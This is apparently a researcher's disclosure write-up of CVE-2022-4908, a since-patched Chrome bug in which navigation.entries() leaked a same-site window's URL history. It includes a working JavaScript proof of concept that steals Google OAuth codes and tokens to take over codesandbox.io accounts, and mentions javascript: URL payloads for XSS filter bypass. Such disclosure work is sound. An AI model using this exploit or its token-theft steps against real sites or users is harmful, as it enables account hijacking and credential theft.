CVE-2022-4908: SOP bypass in Chrome using Navigation API

Last year, I discovered a Same-Origin Policy (SOP) bypass in Chrome that allowed an attacker to leak the full URLs of another window’s navigation history.

While attacks could be conducted cross-origin, these attacks were only possible if the two windows were at the same time considered same-site (If you are not familiar with the concepts of origin and site this post does a great job of describing these concepts). Still, under certain circumstances, the bug could be leveraged to perform a full account takeover as long as an attacker could execute JavaScript on any sub or sibling domain of the target domain.

Inspiration

The inspiration for this finding came from a blog post by Gareth Heyes titled “Using Hackability to uncover a Chrome infoleak“. In the post, Gareth explains how he used his tool Hackability Inspector to uncover a leaked baseURI property on a window object after navigating a frame to about:blank. An interesting bug that had its limitations in how a target page would both need to be framable and also contain an iframe of its own.

Reading this post was my first encounter with Hackability Inspector, essentially a tool for searching and testing for properties in JavaScript objects. I played around with the tool to try to understand the described bug and also to see if Gareth had missed something obvious. This is probably the easiest way to discover new vulnerabilities, piggybacking on previous research. A lot of times, there exist edge cases that both the initial researcher and the developers fixing the issue did not think to test.

Searching through the window object using Gareth’s tool did not give me any additional hits apart from the already patched baseURI leak, but properties are not the only fields on objects that can leak data. Through a mixture of luck and curiosity, I decided to test out some ideas from a recent encounter with the Navigation API and found something hidden one step deeper.

The Navigation API

A few weeks before reading Gareth’s blog post, I had spent some time trying to wrap my head around the “new” Navigation API in Chrome (at this stage, the Navigation API is only implemented in Chromium browsers). I will not go into every aspect of the API here (see MDN for that).

A brief overview is that the API is meant as a replacement for the older History API. The Navigation API was designed to solve some of the known problems that the History API has when dealing with client-side navigation, particularly in Single Page Applications. One notable difference between the two APIs is how they treat navigations initiated from iframes or from cross-site requests. The Navigation API removed the sometimes hard-to-follow history logic and instead only accounts for navigations initiated inside a single frame (at least that’s what is stated). The interface also has some interesting features that could be useful for security researchers and are worth diving into.

First, the Navigation API allows the application to intercept navigation events. My goal when reading up on the API was to find some way that the Navigation API itself allowed me to break the Same-Origin Policy, and this feature sounds like the perfect fit. I imagined that the ability to intercept requests could let me do something nefarious, but as stated earlier the API only affects navigations initiated from inside a particular frame, and I did not find any issues with the current implementation.

Then there is the most famous part of the Navigation API when it comes to security, the navigation.navigate() method. This method allows for a new vector to play with the JavaScript URL schema. It can replace payloads like location = "javascript:PAYLOAD" by navigation.navigate("javascript:PAYLOAD"). Even though this in itself is not a vulnerability in the implementation of the API but rather a feature of browser navigation, it is something to keep in mind when dealing with cross-site scripting filter bypasses.

Another less talked about feature of the same API is the navigation.entries() method. This method allows developers to access a list of history entries for the current window session. The documentation states

The entries() method of the Navigation interface returns an array of NavigationHistoryEntry objects representing all existing history entries.

https://developer.mozilla.org/en-US/docs/Web/API/Navigation/entries

, and for NavigationHistoryEntry it states

The Navigation API only exposes history entries created in the current browsing context that have the same origin as the current page

https://developer.mozilla.org/en-US/docs/Web/API/NavigationHistoryEntry

Each history entry contains the full URL (ex, scheme://userinfo@domain.com/path?query=params#fragment ), and the array contains all the entries created under the current navigation session. As seen in the docs, this list will never contain history entries from other origins. Calling the method will only give you the entries for the current navigation context (a window in a specific origin). See this example from a window session in the image below, the page has been navigated 23 times and all those URLs are accessible through the Navigation API.

Also, note how navigation.entries is a method and not a property, this will be important when we get back to the Hackability Inspector!

We are now ready to get back to the SOP bypass in CVE-2022-4908, but first, I want to point out that the ability to read a session’s complete list of past URLs was not, as far as I can understand, present in JavaScript before the introduction of the Navigation API. I have not seen a lot of discussion surrounding this, but I have also yet to find an example of an exploit using this in an attack scenario. I feel like there is an opportunity here to leverage the history entries in combination with an XSS for information leakage when other impact avenues are missing. As the list contains complete URLs, nothing is blocking this list from containing secrets in the URL like OAuth token, username/password, or PII from query params.

SOP bypass using navigation.entries()

Let us get back to Gareth’s blog post. When testing and verifying what Gareth had found, I noticed that his tool specifically helped him search for properties on JavaScript objects. Using the tool, we can search for plain-text leakage, such as a URL in all the window object properties, and quickly identify any potential SOP bypass. However, the tool does (to my knowledge) fail to access any values returned from invoking methods on the same objects.

With the research on the Navigation API fresh in memory, I wondered if maybe the entries in the history array would also leak something. Gareth’s tool couldn’t have helped him find such a leak because, as I mentioned earlier, the list is generated on method invocation and is not a static property of the object in contrast to the baseURI. To my surprise, calling navigation.entries() in the highjacked iframe (the iframe now in the about:blank state) did indeed return the history array connected with the origin that had been present in the frame before navigating it to about:blank.

Finding this through Gareth’s initial POC was a lucky coincidence (a moment of serendipity if I am to be nice to myself). I would probably not have found this were I to recreate the issue myself. It turned out that Gareth’s POC utilized two separate subdomains under the same top domain portswigger-labs.net, which was important here. Further testing of the leak showed me that the bug only occurred when a subdomain “highjacked” a window or frame under the same top domain (or being the top domain itself). The details of this can be found in the Chromium bug report, but the relevant discussion is this

NavigationApi usuaslly gets entries() from the browser process for a cross-document navigation, but when navigating to about:blank, we copy from the previous NavigationApi object (because the browser process isn’t involved in about:blank navigations). I didn’t consider the cross-origin -> about:blank case in implementing that copy logic.

As creis@ noted, site isolation defends against the worst variants of this leak (only cross-origin-but-same-site will leak with site isolation enabled; without it, cross-site will leak, too). That’s because the cross-site case swaps processes when navigating to about:blank with site isolation enabled, and that allows us to use the correct logic in the browser process.

This caveat (only affecting same-site domains) did decrease the impact of this finding, but it still had some features that were not present in the original baseURI leak.

  • An attack could target any window, there is no need to have the target be frameable.
  • There was no need for an iframe inside the target window, as we could directly redirect the target window itself if needed.
  • An attacker can leak the full history list and thus leak URLs from multiple navigations and not only the current location.
  • If the site relies on navigation state this state could be leaked as well.

Simple proof of concept (POC)

To summarize, an attack using the found bug would go like this

  1. The attacker creates a page that either frames the target (same-site) cross-origin page in an iframe. Alternatively, the attacker page adds the target page as a link that would open in a new window. This second approach would require user interaction but will in turn work on pages that are not frameable.
  2. The attacker page uses its reference to the new window object and navigates the window to about:blank using target.location="about:blank"
  3. The attacker page now has access to the target window’s document and can execute target.navigation.entries() to gain access to the full URL of the target window.
  4. The attacking window can then use target.history.back() to restore the target window. Thus the attack can be used as a logger that periodically polls out the history. If the victim user navigates around on the target page all the visited URLs can be collected by the attacker.

You can see an example of this in the GIF below. Notice how the iframe blinks and then restores its session after the attacker leaks the URLs, that the history.back() being called.

Real-life POC: OAuth dirty dance

As should be evident by now, using this in an attack would require access to a subdomain (or sibling domain) to the targeted domain. This restriction is not as bad as it first sounds. Everyone who has dabbled in bug bounties knows that finding an XSS on a random subdomain is quite common, and there is also an abundance of subdomain takeovers to use for the same purpose. Using these types of off-main-site bugs for something impactful on the main site is often harder. In light of this, the bug described here would have been useful to escalate any subdomain highjack to a targeted attack against the main site.
To prove my point, I wanted to provide a proof of concept providing real impact.

This is where another excellent blog post came to mind. Frans Rosen has written an amazing post titled Account hijacking using “dirty dancing” in sign-in OAuth-flows where he describes how to abuse broken states in the OAuth flows to find novel ways to exfiltrate access tokens and OAuth codes. As we can now exfiltrate URLs cross-origin, we should be able to use this attack in combination with Frans’s technique to escalate the URL leak to account takeover.

I tested the technique against my favorite service, Gitlab.com, and successfully “highjacked” an account while pretending to have an XSS on forums.gitlab.com at my disposal. Accessing gitlab.com from forums.gitlab.com was no problem as they are, as we wanted, same-site while still being cross-origin.

After my imaginary POC, I had an epiphany: maybe I could create a proper POC by hosting an attack payload on a “GitLab page” (a site with user content hosted under gitlab.io) to take over other “page users” sessions. The OAuth flow can be broken on these pages as well. This is where I encountered my last learning opportunity. The picture painted earlier describing “same-site” as two domains sharing a top-level domain turns out to be a bit simplified.

In modern browsers, there exists a concept of a Public Suffix List (PSL). This list contains what is called eTLD (effective top-level domains), which is an extension of the “classic top-level domains” we all know, such as .com and .org. In daily speech, we might refer to example.com as a top-domain, even if it is just the .com part that is actually a top-domain. The PSL adds to this the ability for companies and organizations to register their own top-domains. In the case of gitlab.io this is actually on that list. Thus .gitlab.io is, in fact, a top-level domain just like .com and two sites, site1.gitlab.io and site2.gitlab.io are not considered same-site. They are as different as example1.com and example2.com. If this all seems a bit confusing, it is. But it is worth taking some time to dig into.

Back to the real POC, I wanted to find a site where the “XSS in subdomains” was built while user content was not hosted under one of these eTDL’s. I found what I was looking for at https://codesandbox.io. This site allows any user to create example code projects directly accessible under https://mytestapp.codesandbox.io, and Codesandbox allows for OAuth authentication using GitHub, Google, or Apple. This had all the ingredients needed for a proper attack.

The attacker

  1. Create a POC sandbox on codesandbox.io containing this HTML
<!DOCTYPE html>
<html>
  <head> </head>
  <body>
    <div id="start"></div>

    <script>
      function run(flow) {
        var win = open(
          `https://accounts.google.com/o/oauth2/v2/auth/identifier?client_id=267669956141-f6kd1f8k228hh186imh1j7gbopgi4ln3.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fcodesandbox.io%2Fauth%2Fgoogle%2Fcallback&response_type=${flow}&scope=email%20profile&state=${state}&service=lso&o2v=2&flowName=GeneralOAuthFlow`
        );
        setTimeout(() => {
          win.location = "about:blank";
          setTimeout(() => {
            const leak = new URL(win.navigation.entries()[0].url);
            const parsedHash = new URLSearchParams(leak.hash.substring(1));
            const id_token = parsedHash.get("id_token");
            const token = parsedHash.get("access_token");
            const code = parsedHash.get("code");
            const state = url.searchParams.get("state");
            const attackerLink = `https://codesandbox.io/auth/google/callback?state=${state}&code=${code}&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=none`;
            document.write(attackerLink);
          }, 2000);
        }, 2000);
      }
      const entry = document.getElementById("start");
      const url = new URL(location.href);
      const state = url.searchParams.get("state");
      entry.innerHTML = `<button onclick="run('code+id_token&nonce=hej')">
      Get code and id_token
    </button>
    <br/>
    <button onclick="run('token')">
      Get Google API token
    </button>`;
    </script>
  </body>
</html>

3. Go to https://codesandbox.io/auth/google and copy the state parameter from the OAuth link without actually logging in.

4. Send the attacker link to the victim with the `state` in a query parameter. This is how a link looks to my attacker POC https://joaxcar-poc-3t059v.codesandbox.io/?state=ABC

As the victim

1. Go to https://codesandbox.io/signin, create an account using Google OAuth , and login

2. Visit the link from the attacker https://joaxcar-poc-3t059v.codesandbox.io/?state=ABC
3. When the page loads there will be two buttons, one will leak code and id_token, the other will leak Google API access_token
4. Clicking a button will open a new window, and the attack will take 4 seconds. When it is finished go to the original tab, and you will find a link like this on the page

https://codesandbox.io/auth/google/callback?state=STATE&code=CODE&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=none

Take this link and open it in the attacker’s browser. The attacker will now be logged in to codesandbox.io as the victim user.

This POC included some manual steps that could easily be replaced by automation. You can test this yourself by installing an older version of Chrome and follow the steps (Chrome v.105).

Resolution

I reported the bug on September 2, 2022. The Chromium team accepted this bug and fixed it in Chrome v.107. You can read the full report here https://bugs.chromium.org/p/chromium/issues/detail?id=1359122

Also, a big thanks to jub0bs for proofreading this post!


Posted

in

, ,

by

Tags: